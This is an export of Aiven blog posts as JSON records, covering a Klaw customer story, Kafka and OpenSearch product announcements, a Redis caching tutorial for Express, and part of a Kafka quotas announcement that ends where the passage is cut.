{"__i18n_lang":"en","_createdAt":"2023-10-30T06:54:56Z","_id":"3d9080bc-213b-4c4e-a7b9-e3220f9bcf65","_rev":"K4OjmPZwqkJMmxhvodAQPJ","_type":"post","_updatedAt":"2023-10-30T07:46:43Z","authors":[{"_key":"50d28dee5cea","_ref":"3CMp6swW2L6wlHhqp57gWe","_type":"reference"}],"body":"We understand the power and the popularity of Apache Kafka®. Its open-source, highly available data streaming technology is perfectly suited to event-driven applications that need to transfer data at speed and at scale. [It’s no surprise that instances of Kafka can be found at more than eight in ten of all Fortune 100 companies](https://kafka.apache.org/).  \n\nIn fact, companies of all sizes depend on Kafka for data streaming, integration and analytics. That includes [Essendant](https://www.essendant.com/), which provides wholesale distribution and fulfillment services throughout the US. Every day, the company fills nearly 250,000 product lines, and ships 53,000 orders from 30 distribution centers across the US — with 99.9% accuracy. It works with more than 500 supplier partners, its inventory is vast and diverse, and its customers rely on it to extend their own reach and improve their supply chains. Not bad for a company that has just celebrated its centenary.\n\n![Aiven + Essendant - Andy Kiss, CIO Quote](https://cdn.sanity.io/images/sczeoy4w/production/25b361ac65ef9fb6c63e1675032823c110021d51-1200x628.png)\n\nRajesh Solanki is a Domain Architect, Middleware at Essendant. He explains why Kafka is so important to the business. “We have an incredibly data-intensive operation. We are in the business of moving a huge range of goods and supplies around the country. All that needs to be managed and recorded. And that means we need to generate, access and move a huge amount of accurate, timely data around our business too.”\n\nLike many companies, Essendant has grown its use of Kafka over time. It initially started using Kafka to support the analytics around one specific product in its inventory. Then the order-entry team, which needed to store thousands of events a day, started using Kafka to ensure that the company’s applications had easy access to those events. \n\n“Today we have two Kafka clusters,” says Solanki. “One is a three-node cluster for the shared infrastructure used by multiple teams who are just writing events. The other is a five-node cluster dedicated to order-entry and all the processes and applications that need to access it. However, we want to expand the business so my team has a goal to enable more real-time data pipelines to support this. The Kafka clusters will become an even more important element of our business.” \n\n## Klaw enters the picture\nHowever, running Kafka in an enterprise setting is by no means straightforward. It is one of the reasons that so many organizations turn to Aiven to take on the burden and free up internal expertise to focus on value-generating work. \n\nAdditionally, governing Kafka in an enterprise setting is a complex business – and one that is often overlooked, at least initially. But as more and more organizations like Essendant adopt Kafka in their technology stack, they are discovering that inadequate governance and authorization of the hundreds of topics created can compromise the benefits of having high-performance data pipelines, streaming analytics, and data integration. \n\nAnd so, to help make Apache Kafka governance easier for everyone, Aiven acquired Kafkawize back in September 2022 – which is now known as Klaw – to give users of open source Apache Kafka, like Essendant, a centralized governance layer on top of Kafka. Klaw provides data governance with enterprise-grade security and user-management functionality and solves problems organizations face – like user management and topic-level operations – when scaling the adoption of Kafka across several use-cases, with multiple responsible teams and approval pipelines. The aim is to help organizations make better decisions, enhance regulatory compliance and optimize the efficiency of their Kafka footprint. \n\nBack to Essendant. “We were using Spring Boot to create and view topics in Kafka, so everything was manual,” Solanki says. “My team was also developing REST APIs and venturing into creating and modifying Access Control Lists (ACLs), so we started using a tool to help manage the Kafka environment. However, we quickly figured out that the support wasn’t at the level we needed and the pricing model wasn’t right. I thought, ‘let's investigate if there are any open-source options out there.’”\n\nEssendant has an open-minded approach to its IT from the top down. “It’s important to give my team the freedom and flexibility to decide which technologies to implement. I’m a big supporter of tracing technical solutioning to business value.  That's how Klaw came into the picture,” says Andy Kiss, SVP of IT and CIO, Essendant.\n\n![Aiven + Essendant, Rajesh Solanki Quote](https://cdn.sanity.io/images/sczeoy4w/production/34dda3f815ef525b687c4d86ca9e0c29c28a0728-1200x628.png)\n\n## Easy to use, easy to govern \nSolanki immediately found that Klaw is a straightforward tool to use. “It’s open source, so I downloaded it and quickly figured it out. It comes packaged and shipped as a standalone Spring Boot app to run as is, but we run it on a Tomcat web container which requires a little bit of tweaking – but only half a day.” \n\nHe continues: “We deployed Klaw in one of our POC environments. I showed it to my manager, a couple of architects and some of my team members. Everyone liked it, so we progressed with it and for the last three months we’ve been in production.”\n\nKlaw gives Essendant a process- and web-based data governance toolkit, which various teams can use to submit requests for new topics and schemas in Kafka, as well as access authorizations and Kafka connectors. The self-service user interface is easy to use and prevents users from calling on the already stretched administrators.\n\n“Klaw has really increased the agility of our teams and our decision-making capabilities,” says Solanki. “It streamlines colleagues' access to Kafka without adding workload to the central management team. That speeds things up. And it helps us make faster improvements to the data infrastructure underpinning the business – without giving up control over the changes.” \n\n“For example, we have multiple MongoDB Kafka Connectors that send data between the database and Kafka in our development, testing, QA, pre-production and production environments. If there’s a missing event, developers can use Klaw to look at any issues, navigate easily and quickly, and see the status of the connector. They know what’s going on in a couple of minutes – without calling in my team to manually trouble-shoot. It gives us back about five or six hours every week.”\n\nAs Essendant’s developers have found, Klaw is really easy to use. “The users love Klaw! And giving them access with the right level of authentication is really easy too,” says Solanki. Klaw also supports the company’s governance and security posture. “Using Klaw means we’ve been able to give certain teams access to specific Kafka topics, and manage the members’ level of access as required. If an event needs to be consumed by two or three different business units, we can now control that. There are no roadblocks in getting access and viewing the content.”\n\nCurrently 15 developers are using Klaw at Essendant alongside the entire middleware team. And new plans are underway. “We are starting on a process of using Schema Registry,” explains Solanki. “In a few weeks, we’ll be carrying out everything via Klaw: requesting topics, ACLs, connectors and schemas in the Schema Registry directly from Klaw. It’s an exciting process, and one that is going to help us get even more out of Kafka.”\n","categories":[{"_key":"7eb09464d273","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"c02fed4f0cb3","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"34d98de0e710","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"8e2df8e4076e","_ref":"0cdf6922-1dca-475f-b8ec-584368c1ddb0","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"217845de-9025-4cd7-b461-e126fb7fc23c","_type":"reference"},"ctaText":"Read the story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-25b361ac65ef9fb6c63e1675032823c110021d51-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Case Study, Use Case, Apache Klaw Use Case, Klaw, Retail, Wholesale","asset":{"_ref":"image-25b361ac65ef9fb6c63e1675032823c110021d51-1200x628-png","_type":"reference"}},"publishedAt":"2023-10-30T07:13:00.000Z","related":[{"_key":"a8a1366b5d13","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"01f7118b03ed","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"be85c2f28b9a","_ref":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Wholesale distribution and fulfillment services company, Essendant, saves time and gains agility with Aiven's open source tool","metaImage":{"_type":"mainImage","asset":{"_ref":"image-25b361ac65ef9fb6c63e1675032823c110021d51-1200x628-png","_type":"reference"}},"metaTitle":"Essendant Embraces Klaw to improve Apache Kafka® Governance"},"slug":{"_type":"slug","current":"/blog/essendant-embraces-klaw-to-improve-apache-kafkar-governance"},"subtitle":"Wholesale distribution and fulfillment services company, Essendant, saves time and gains agility with Aiven's open source tool","title":"Essendant Embraces Klaw to improve Apache Kafka® Governance"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3dSIdEIDnvoLaVLI81D3q5","_rev":"V5UdSzFEWrLT7ZlMFO9oMP","_type":"post","_updatedAt":"2023-08-03T10:31:03Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"We’ll keep this short: __Kafka version 2.2.0 is now available on Aiven.__ The latest version continues to improve on Apache Kafka’s stability and security with 53 improvements and 82 bug fixes.\n\n\u003e To get more information on all of the improvements and fixes, [visit the release notes](https://downloads.apache.org/kafka/).\n\nAiven customers now have access to Kafka versions 2.1 and 2.2 on all 6 clouds and their regions. You can upgrade to version 2.2 from within the Aiven Console, API, or command line client.\n\nNot a customer? [Try Aiven Kafka and our other services with our free 30 day trial](https://console.aiven.io/signup). Don’t forget to join our [changelog](https://aiven.io/changelog) and [blog](/blog/feed.xml) RSS feeds, as well as [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/) to get the latest news.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-78256efcd877e208a599ba86a7201de3761689a1-752x405-png","_type":"reference"}},"publishedAt":"2019-04-15T21:00:00.000Z","seo":{"metaDescription":"Kafka's latest version is now available on Aiven; find out a little more about it in our latest post.","metaImage":{"alt":"","asset":{"_ref":"image-78256efcd877e208a599ba86a7201de3761689a1-752x405-png","_type":"reference"}},"metaTitle":"Kafka 2.2 now available on Aiven"},"slug":{"_type":"slug","current":"/blog/kafka-2-2-now-available-on-aiven"},"subtitle":"Kafka's latest version is now available on Aiven; find out a little more about it in our latest post.","title":"Kafka 2.2 now available on Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3vdtW9EkHbFrR3DlOWlLFo","_rev":"ZLvKaZvfbZlWBlGcpIo8Bb","_type":"post","_updatedAt":"2024-01-29T15:40:51Z","authors":[{"_key":"23npxnYfL41QURg8oY8Lat","_ref":"23npxnYfL41QURg8oY8Lat","_type":"reference"}],"body":"\u003e **Note** On 2022-08-23, Aiven will complete its migration away from Elasticsearch. See [Aiven finishes the transition away from Elasticsearch: technical details](https://aiven.io/blog/finish-move-away-from-elasticsearch) for more information, and [Migrate your Elasticsearch client to OpenSearch®](https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch) to learn how to migrate your Elasticsearch client to OpenSearch® in Python, Java and Node.js.\n\nToday, we are thrilled to announce [Aiven for OpenSearch](https://aiven.io/opensearch \"Aiven for OpenSearch product page\") - a new managed service that is built on [the OpenSearch project](https://opensearch.org/ \"OpenSearch project page\") - a truly open source alternative to Elasticsearch. Aiven for OpenSearch secures a fully open source upgrade path for Aiven for Elasticsearch 7.x customers. \n\nWhen Elastic (the company behind the Elastic stack - Elasticsearch, Kibana, Beats, and Logstash) shifted to a restrictive dual licensing structure based on Server Side Public License ([SSPL](https://opensource.org/node/1099 \"The SSPL is Not an Open Source License | Open Source Initiative\")) and Elastic license, the OpenSearch initiative was created as a community-driven, open source project, derived from the Apache 2.0 licensed Elasticsearch 7.10.2 \u0026 Kibana 7.10.2.  With OpenSearch, developers have the freedom to create new features for ingesting, searching, visualizing, and analyzing data without running into proprietary roadblocks.\n\nAiven [is very much part of the community](https://opensearch.org/partners/ \"OpenSearch partners\") that keeps open source software truly open. In fact, we're a contributor to the project itself via our Open Source Program Office.\n\nAiven for OpenSearch includes OpenSearch, OpenSearch Dashboards and a [wide variety of OpenSearch plugins](https://aiven.io/docs/products/opensearch/reference/plugins.html \"Plugins available with Aiven for OpenSearch | Aiven Developer Portal\"). It’s all well-maintained and supported open source technology that allows you to continue to control your data and its portability, enjoy zero vendor lock-in, and remain free from licensing costs.\n## Elasticsearch users, want to stay open source?\nAiven for OpenSearch is fully compatible with Aiven for Elasticsearch v7. As partners of the OpenSearch project, Aiven for OpenSearch will always be up to date and committed to enhancing this technology. \n\nFrom today, you can upgrade from Aiven for Elasticsearch to Aiven for OpenSearch using the normal upgrade service mechanism. When you upgrade, the cost, the performance, and the usage experience will remain exactly the same.\n\nThe upgrade from Elasticsearch to OpenSearch will also upgrade your Kibana to OpenSearch Dashboards. \n\nThe OpenSearch APIs are backwards compatible with Elasticsearch 7. However, switching to Aiven for OpenSearch involves updates to the Aiven API responses and service metrics names. This means you have to update your client applications.\n\nThe Aiven API remains backwards compatible for as long as Aiven for Elasticsearch is available, and so you can test your client applications with OpenSearch and make the necessary updates. (Tip: To perform these tests, you might want to [fork your Elasticsearch service](https://help.aiven.io/en/articles/5074009-forking-an-aiven-service \"Fork your database | Aiven help article\").)\n\nTo ensure that your services use maintained and supported service versions, __we strongly recommend that you upgrade your service to Aiven for OpenSearch__ as soon as possible.) \n\nFor more information, [read our full upgrade instructions](https://help.aiven.io/en/articles/5424825-upgrading-elasticsearch-services-to-aiven-for-opensearch).\n## Documentation for Aiven for OpenSearch\nFor a quick overview of what OpenSearch is, take a look at our article [Introduction to OpenSearch](https://aiven.io/blog/introduction-to-opensearch \"Introduction to OpenSearch | Aiven blog\").\n\nOur Developer Portal features a comprehensive look at the whys and hows of Aiven for OpenSearch. Click through to [https://aiven.io/docs/products/opensearch](https://aiven.io/docs/products/opensearch/ \"OpenSearch on the Aiven Developer Portal\") for the complete docs.\n\nWe are updating our existing documentation to help you transition smoothly to OpenSearch and Aiven for OpenSearch. In the meantime, feel free to reach out to our support team or your own Aiven contact for answers.\n\n## Next steps\nYou can start [using Aiven for OpenSearch with cURL](https://aiven.io/docs/products/opensearch/howto/opensearch-with-curl.html) or with a language of your choice, for example, follow [our tutorials to use OpenSearch with NodeJS](https://aiven.io/blog/start-using-opensearch-with-nodejs).\n\nTo help you set up a playground, follow the guidance on [how to load a sample dataset into your OpenSearch cluster](https://aiven.io/docs/products/opensearch/howto/sample-dataset.html).\n\n[Get started with Python](https://aiven.io/blog/opensearch-dinner-party) to fix yourself a delicious menu.\n\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"alt":"","asset":{"_ref":"image-a25de79cefdabfb306a8c319450596a4695b5682-1567x844-png","_type":"reference"}},"publishedAt":"2021-09-27T00:00:00.000Z","seo":{"metaDescription":"Aiven is happy to announce the newest arrival on the OpenSearch scene! Read more about Aiven for OpenSearch® and how to upgrade from Elasticsearch.","metaImage":{"alt":"","asset":{"_ref":"image-a25de79cefdabfb306a8c319450596a4695b5682-1567x844-png","_type":"reference"}},"metaTitle":"Announcing Aiven for OpenSearch®"},"slug":{"_type":"slug","current":"/blog/announcing-aiven-for-opensearch"},"subtitle":"Aiven is happy to announce the newest arrival on the OpenSearch scene! Read more about Aiven for OpenSearch® and how to upgrade from Elasticsearch.","title":"Announcing Aiven for OpenSearch®"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3xMYXYwDE8oG86cx4WECi6","_rev":"YFURCCIYWC1zW2kvzUdq2T","_type":"post","_updatedAt":"2023-08-04T18:29:38Z","authors":[{"_key":"55e38ffe91d6","_ref":"2gMdAEZfTJwRIbSW8fDJ0i","_type":"reference"}],"body":"Redis is a database designed for fast access to data. Blazingly fast. Although it is a database, it is not exactly like the Postgres and MySQL relational databases that you may be more familiar with. **Redis is an in-memory** database that stores its contents in the `RAM` of your Server/PC/Container/Raspberry Pi; with many persistence options such as occasionally dumping all of its data to disk or appending to a log.\n\nGetting used to Redis to start with may be a bit of a shock when coming from a more traditional DB background but its features and potential use cases are massive and, in many ways, from zero to getting started is minutes instead of hours or days. Take a look at our [Introduction to Redis](https://aiven.io/blog/an-introduction-to-redis) for a more in-depth look at Redis and how it works under the hood.\n\nIn this post, you will have a quickstart guide for using Redis as a cache for your Node.js Express app. We will build two (beyond trivial) apps to serve a single API endpoint. Then, we will run them both, one using Redis as a cache, and the other to send data without a caching layer; to show a very simple (but convincing) benchmark of the benefits Redis can provide with an almost zero implementation cost.\n\n## The API\n\nBecause this is 2020, we have to do something so we can use the word _FinTech_, so we are going to provide an API that lists info about the health of Bitcoin... we will use the API of [Alpha Vantage](https://www.alphavantage.co/) because their API is super simple, clean and free to use (with an email required for an API key). It may seem odd that I am providing free advertising to a company I know little about but it will all become clear when you hear what we will call our app....**Cache in Hand** — yeah, I knew you'd like it. 🐶\n\n## Step 1. Create the Express project\n\n`Express` is a great framework for setting up a Node.js backend quickly but well structured and with room to scale. You will need [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm) installed but then you can open a command line and paste:\n\n```zsh\nmkdir cache-in-hand \u0026\u0026 cd cache-in-hand \u0026\u0026 npm init -y\n```\n\n## Step 2. Install your dependencies\n\n```zsh\nnpm install --save-dev express redis response-time\n```\n\nHere, we use express, the Redis client, and the `response-time` middleware to send that information in the response headers.\n\n## Step 3. Write our server!\n\nLet's write the app, we can do all of this in a single file and we only need 2 endpoints: one with a cache and one without.\n\nCreate a file and call it `app.js`, and it we will add to it now:\n\n### Imports\n\n```javascript\nconst config = require('./config.json');\nconst express = require('express');\nconst responseTime = require('response-time')\nconst redis = require('redis');\nconst uuid = require('uuid/v4');\nconst axios = require('axios');\n```\n\n### Setting up the app\n\n```javascript\nvar app = express();\n\napp.use(responseTime());\n\napp.listen(config.PORT, function() {\n\tconsole.log('Cache-in-hand is running!');\n});\n```\n\n### Adding your config values\n\nCreate a file and call it `config.json`, inside we will create a `JSON` object that contains the port we will use, the API key we have and our Redis connection info.\n\n```json\n{\n\t\"API_KEY\": \"\",\n\t\"API_URL\": \"https://www.alphavantage.co/query?function=CRYPTO_RATING\u0026symbol=BTC\u0026apikey=\",\n\t\"REDIS_HOST\": \"\",\n\t\"REDIS_PORT\": ,\n\t\"REDIS_PWD\": \"\",\n\t\"PORT\": 6666\n}\n```\n\n### Add your `uncached` route\n\n```javascript\napp.get('/go-for-broke', async(req,res) =\u003e {\n    axios.get(config.API_URL + config.API_KEY)\n    .then(result =\u003e {\n      res.send(JSON.stringify(result.data));\n    }).catch(err =\u003e {\n      console.error(err);\n    });\n});\n```\n\n### Run It!\n\nNow, you can run the server with `node app.js` and a simple curl command will show you the response text but, since we added a response time to the header, we want more info than that.\n\n```zsh\ncurl -v localhost:6666/go-for-broke\n\n*   Trying 127.0.0.1:6666...\n* TCP_NODELAY set\n* Connected to localhost (127.0.0.1) port 6666 (#0)\n\u003e GET /go-for-broke HTTP/1.1\n\u003e Host: localhost:6666\n\u003e User-Agent: curl/7.66.0\n\u003e Accept: */*\n\u003e\n* Mark bundle as not supporting multiuse\n\u003c HTTP/1.1 200 OK\n\u003c X-Powered-By: Express\n\u003c Content-Type: text/html; charset=utf-8\n\u003c Content-Length: 263\n\u003c ETag: W/\"107-0WhO2PvF4fl39YQOl4rWIQttsjI\"\n\u003c X-Response-Time: 434.951ms\n\u003c Date: Tue, 17 Mar 2020 08:27:39 GMT\n\u003c Connection: keep-alive\n\u003c\n* Connection #0 to host localhost left intact\n{\"Crypto Rating (FCAS)\":{\"1. symbol\":\"BTC\",\"2. name\":\"Bitcoin\",\"3. fcas rating\":\"Attractive\",\"4. fcas score\":\"891\",\"5. developer score\":\"847\",\"6. market maturity score\":\"826\",\"7. utility score\":\"958\",\"8. last refreshed\":\"2020-03-16 00:00:00\",\"9. timezone\":\"UTC\"}}⏎\n```\n\nUsing the `-v` flag to get a verbose output shows us the headers coming back and a response of **~435ms**\n\n## Step 4. Set up Redis\n\nYou can, of course, install Redis for your OS from [Redis](https://redis.com/redis-enterprise-software/download-center/software/) and it is a perfectly good solution for testing or local development. However, when you want to deploy your product, you will need a more reliable and available solution. At Aiven, we provide a **managed Redis service** (along with $300 of credits for testing) that you can deploy on popular cloud providers, such as Google Cloud Platform, Amazon Web Services or Microsoft Azure.\n\nAll you need to do is:\n\n* Sign up [here](https://console.aiven.io/signup)\n* Create a Project (`cache-in-hand` works for this example)\n* Add a Redis instance, our `startup` plan will be more than enough here but you can upgrade later with zero downtime\n* Deploy in the region of your choice and wait for us to get it running for you\n* When your service is green, you will see a `Host`, `Port` and a `Password`. This is all we need for this example but different clients may need different information (You can use the `Service URI` to connect from the CLI).\n\n## Step 5. Connect Redis and create a new route\n\nAdd the information to your `config.json` file and let's create a new route that adds the caching functionality to your server.\n\nWhen adding to Redis, you will use a `Key` and a `Value`, for those that are used to Frontend web frameworks, this will be very similar to using a store in things like React or Vue.\n\nThe key can be extremely useful as it can be used to identify a particular client, or connection, or it can be used to identify remote content that is requested often.\n\nIn our example, we will create a **Universally Unique Idetification Number** or **UUID** when the server starts. This means that each client will see the cached information from Redis once it has been cached. We could set the key to a user's ID, for example, so only they see the cached information and other users would get newer responses.\n\n```javascript\n\nconst REDIS_KEY = uuid.v4();\n\napp.get('/cache-in-hand', function(req,res) {\n  try {\n    client.get(REDIS_KEY, function(err, result) {\n      if (result ) {\n       res.send(result);\n      } else {\n        axios.get(config.API_URL + config.API_KEY)\n          .then(apiResult =\u003e {\n\t    \tconst str = JSON.stringify(apiResult.data)\n            client.set(REDIS_KEY, str);\n\t    \tres.send(str)\n          }).catch(err =\u003e {\n            console.error(err);\n          });\n      }\n    });\n  } catch (error) {\n    console.error(error)\n    res.send('Something went wrong!!!');\n  }\n});\n```\n\nLet's break it down.\n\n1. We create a unique key when the server starts\n2. A request comes in at `/cache-in-hand` and we check our Redis database for data\n3. If it exists, then we send it along to the client\n4. Otherwise, we make the same request to the API as before but we also cache it in Redis before sending it to the client\n\nThat is it! Simple.\n\n## Step 6. On your (bench)marks. Get set. Go!\n\nWe could use curl to test this and read the response time header from the results but this sounds like a very manual process that could be automated, so we will!\n\nMy tool of choice is [Bombardier](https://github.com/codesenberg/bombardier/releases) for this kind of thing. It is built with `Go` but you can grab the [binary](https://github.com/codesenberg/bombardier/releases) if you don't want yet another language on your machine.\n\n`bombardier -c 200 -d 10s -l localhost:6666/cache-in-hand`\n\nThis runs our benchmark over 10 seconds with 200 connections; the `-l` flag gives us more detail about the latency with a latency distribution. Let's see what happens when I run this on my machine:\n\n### Uncached - `/go-for-broke`\n\n![Uncached bombardier results](//cdn.sanity.io/images/sczeoy4w/production/a2db482fa962cf48f522748bc771453501a93b3e-1442x896.png)\n\nLocally, my node server is able to handle around 300 requests per second comfortably, but still responds with 2284. For our needs, though, the latency distribution is most important. We see an average of **622ms** and \n\n### Cached  - `/cache-in-hand`\n\n![Cached bombardier results](//cdn.sanity.io/images/sczeoy4w/production/5e527828645e8b414de8ddb8bda9507011ccb710-1442x896.png)\n\nWhoa, a pretty big difference, right? Adding Redis as a cache not only reduces the latency by a factor of **~13.8** but it also allows the **fourteen** times the number of requests per second.\n\n### Things to consider\n\n* This is being run locally on your machine which (likely) has a number of other services running\n* There are many configuration options we can make to Node for it to perform better\n  * using NODE_ENV=production (although this benefit is debatable when we are just responding with JSON)\n  * using a load balancer and/or a reverse proxy\n  * Using compression, such as `gzip` (although this will also make a minimal difference in this case due to the size of the response)\n\n## Step 7. Moving forward\n\nWrapping this Redis check in each of your requests may be fine for a small project but, when you scale up to a few dozen routes, you will quickly want a different solution. The middleware support in Express is amazing and there are a number of caching middlewares that support Redis in [npm](https://www.npmjs.com/search?q=redis%20express). \n\nThe sample code can be found in our [Examples Repository](https://github.com/aiven/aiven-examples/) along with a number of other code samples for the services we offer. If you run into any issues, you can always reach out to our Support team and check out our help articles [here](https://help.aiven.io).","categories":[{"_key":"3SF1hzDKGSWII7ZpbyTg8M","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-50876db793cfd8aeb1c5180160d793a686328651-1567x844-png","_type":"reference"}},"publishedAt":"2020-05-15T00:00:00.000Z","seo":{"metaDescription":"A quick mention of Redis and its use cases, with a tutorial to using Redis to cache data when using Node.js","metaImage":{"alt":"","asset":{"_ref":"image-50876db793cfd8aeb1c5180160d793a686328651-1567x844-png","_type":"reference"}},"metaTitle":"Caching with Aiven for Redis® and Express.js"},"slug":{"_type":"slug","current":"/blog/caching-with-nodejs-express-and-redis"},"subtitle":"A quick mention of Redis and its use cases, with a tutorial to using Redis to cache data when using Node.js","title":"Caching with Aiven for Redis® and Express.js"}
{"__i18n_lang":"en","_createdAt":"2023-07-04T11:00:51Z","_id":"48489b60-d438-4bb5-abd0-9950d2078514","_rev":"E2EqFgH2t2FE0P1F1sZ4cX","_type":"post","_updatedAt":"2024-02-27T15:29:12Z","authors":[{"_key":"51a6c595930b","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"},{"_key":"d75a1f15fcbc","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"[Aiven for Apache Kafka](https://aiven.io/kafka)® helps customers leverage the power and scalability of Apache Kafka® for their streaming data needs without worrying about the underlying infrastructure and the management overhead. In a production-grade Kafka environment, multiple teams often share the cluster resources by having dedicated topics where data is produced, consumed, enriched, and transformed.\n\nWhile shared Kafka clusters come with many benefits to the organization, like greater performance stability and ease of operations for the Kafka environment, they can pose certain governance and standardization challenges for the platform teams running them. When multiple teams use a cluster, you can have the \"noisy neighbor problem\" where particular applications could overuse it, therefore negatively impacting the performance of other topics. To avoid such situations, data platform teams and engineering managers leverage [Quotas in Apache Kafka](https://kafka.apache.org/documentation/#design_quotas) as a way of controlling the used resources by client applications within a given cluster.\n\nToday we are excited to announce that Kafka quotas are available in Aiven for Apache Kafka giving Aiven customers the ability to define, update, or verify the resources used by every application directly from the Aiven console or Aiven’s API and CLI. In the following paragraphs, we introduce what quotas in Apache Kafka are, their benefits for shared Kafka setups, and the supported quota types you can now leverage in the Aiven platform. Read on for more details!\n\n## A Short Explanation of Kafka Quotas\n\nQuotas in Apache Kafka provide a mechanism for managing and limiting the number of broker resources Kafka clients use. By defining Kafka quotas, administrators of Apache Kafka can set defaults and supervise how the resources of a given cluster are being utilized by different producing or consuming applications. When a producing/consuming application is meeting its quota limits, the cluster will slow down the related ingestion/production of events keeping the stability performance in the cluster. Kafka quotas are ideal for shared Kafka clusters where different teams, applications, or use cases consume and produce events to the same Kafka cluster resources. In such scenarios, having control of the resources each application can use in the cluster will ensure that the performance of the cluster remains consistent and there are no potential degradations.\n\n\n### Why are Quotas in Kafka Necessary\n\nFor production-grade workloads, there are two main deployment options. Firstly, Kafka administrations can define application groupings, usage scenarios, and compliance requirements and based on those deploy **dedicated, single-purpose Kafka clusters** to satisfy their application-specific needs. Alternatively, Kafka users can deploy a **shared, multi-purpose Kafka cluster** for the entire organization and give access to streaming data from this main Kafka cluster to multiple applications and use cases for their internal application teams.\n\nWhatever your deployment choice, it's rare to have an isolated Kafka cluster dedicated to a single application. In most cases, the cluster represents the backend of multiple data flows and use cases. It is therefore likely that different applications will have different usage patterns, with variable data traffic and fluctuating performance impacting not only the application in use but also all the other use clients sharing the same cluster resources. \n\nQuotas in Apache Kafka prevent such situations by enforcing pre-defined usage limits of the cluster resources that can prevent performance degradation or a complete cluster outage. For example, an IoT provider that uses sensor data from traffic lights around the city of London might have heavier traffic volumes in the daytime and lower traffic volumes overnight (since most buses and the London Underground stop at around midnight). Instead of allowing all applications to read/write to the Kafka cluster throughout the day, less time-critical applications could be writing data to the topic at a lower volume during the day to prevent any cluster degradation or outage.\n\nQuotas in Apache Kafka create resource boundaries between use cases and applications and provide a security method ensuring all those use cases have adequate resources to operate efficiently by allowing Kafka administrators to configure the producing/consuming traffic for each client application per Kafka broker in a cluster. According to the allocated resources, Kafka brokers will throttle the client applications’ requests avoiding potential resource saturation and outages in the cluster due to a small number of misbehaving clients that would otherwise be degrading the performance of the entire setup. Kafka quotas are thus an essential component in keeping sanity and governing Kafka operations, especially for shared, production-grade Kafka workloads where multiple teams are accessing, producing, or consuming streaming data from a centralized Kafka instance.\n\n## Key Benefits of Quotas in Apache Kafka\n\nUsing quotas in Apache Kafka comes with multiple benefits for the organization and enables more use cases for enterprise Kafka users. Some of these benefits include: \n\n1. **More accurate operations and governance for your Kafka environment**\n\n   The more the usage of Apache Kafka grows in an organization, the more likely operating the tens (or hundreds) of Kafka clusters becomes a bottleneck in further leveraging real-time data. This is where data governance for Apache Kafka using technologies like [Klaw](https://www.klaw-project.io/) or [Conduktor](https://www.conduktor.io), helps with improving Apache Kafka governance across the organization. Additionally, efficiently managing the schema of your data becomes a must-have in your Kafka setup. \n\n   Leveraging quotas in Apache Kafka allows data platform teams and operators of Apache Kafka to better control the users who use the Kafka cluster, what they have access to (in terms of Kafka topics and ACLs), and how much resource consumption they are allowed (quota limits).\n\n2. **Greater cost optimization of your Kafka resources**\n\n   Due to the varying throughput in the streaming world, specifically in multi-purpose scenarios, resource usage is complex to forecast. Therefore in the vast majority of cases, there's an overprovisioning of resources to give extra room for application teams to successfully deliver their end goals. Since Kafka quotas can be adjusted as and when needed, data platform teams can revise the priority of the workloads when necessary. So data platform teams can set higher limits during peak times and release them to other applications when not needed. \n\n   Quotas in Kafka help further improve the performance stability of the Kafka cluster while at the same time optimizing fixed costs by sharing a single Kafka instance across use cases and by spreading the associated expenditure across teams in an organization. Especially in times when companies are trying to cut down on cloud infrastructure costs and use [cost optimization strategies](https://aiven.io/blog/optimizing-cloud-infrastructure-costs), having the ability to use your Kafka resources efficiently becomes a key not only for data platform teams but for FinOps and technology executives too.\n\n3. **Minimization of data and schema duplication**\n\n   One of the biggest obstacles to adopting multi-purpose Apache Kafka clusters in tech organizations these days is performance predictability. Stakeholders need more than data streaming from producers to consumers; they frequently have specific thresholds when it comes to the performance of the cluster itself. Quotas in Apache Kafka provide a mechanism to ensure customized resource limits per application that enhances the overall performance predictability of the Kafka cluster. 